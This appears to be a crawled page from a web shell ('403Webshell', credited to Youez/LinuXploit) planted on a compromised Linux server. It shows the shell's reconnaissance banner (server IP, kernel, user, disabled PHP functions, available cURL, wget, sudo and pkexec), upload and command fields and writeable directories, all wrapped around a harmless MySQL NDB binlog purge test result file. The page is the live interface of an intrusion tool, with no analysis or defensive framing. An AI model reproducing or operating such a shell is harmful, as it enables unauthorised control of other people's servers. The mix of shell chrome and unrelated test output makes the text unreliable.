403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.71.124.156
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/ndb_binlog/r/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/ndb_binlog/r/ndb_binlog_purge.result
Test binlog purging, especially 'automatic' purging
Test expire-log-days handling as part of normal operation
Logs are rotated as part of transaction COMMIT (to avoid
a transaction being split across 2 files), rotation checks
expire-logs-days to decide whether to purge, and purging
calls into the Ndb handler to think about deleting rows
from ndb_binlog_index.
The delete from ndb_binlog_index is itself a SQL statement
executing *during* the COMMIT of some other transaction,
potentially in some other engine.  Don't want to think
about that too closely
show variables like 'log_bin';
Variable_name	Value
log_bin	ON
use test;
create table test.tm (b varchar(1000)) engine=myisam;
create table test.tn (b varchar(1000)) engine=ndb;
create procedure go_forth_and_make_binlog(loops int)
begin
set @x = 0;
repeat
insert into test.tm values (repeat('C', 1000));
insert into test.tm values (repeat('C', 1000));
insert into test.tm values (repeat('C', 1000));
insert into test.tm values (repeat('C', 1000));
insert into test.tm values (repeat('C', 1000));
insert into test.tm values (repeat('C', 1000));
insert into test.tm values (repeat('C', 1000));
insert into test.tn values (repeat('N', 1000));
delete from test.tm;
delete from test.tn;
select sleep(0.1);
set @x = @x + 1;
until @x = loops
end repeat;
end%
call go_forth_and_make_binlog(40);
Now test binlog expiration at startup...
Disable the 'immediate expiration' mechanism
set global debug='';
Create some binlogs...
call go_forth_and_make_binlog(40);
Now restart, should re-pickup the expire-log-days
debug setting from the config file, and perform
expire-logs action at restart...
# restart
drop procedure go_forth_and_make_binlog;
drop table tm;
drop table tn;

Youez - 2016 - github.com/yon3zu
LinuXploit